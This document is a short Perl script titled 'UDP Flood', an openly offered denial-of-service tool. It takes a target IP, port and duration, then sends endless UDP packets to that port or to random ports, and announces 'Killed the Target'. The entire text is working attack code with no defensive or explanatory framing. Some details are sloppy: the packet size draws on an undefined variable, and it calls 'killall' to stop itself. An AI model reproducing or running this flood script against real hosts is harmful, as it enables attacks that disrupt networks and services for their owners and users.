UDP Flood

#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf "$0 <ip> <port> <time>\n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "AlecsPower aTTaCK! - Killed the Target . . .\n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}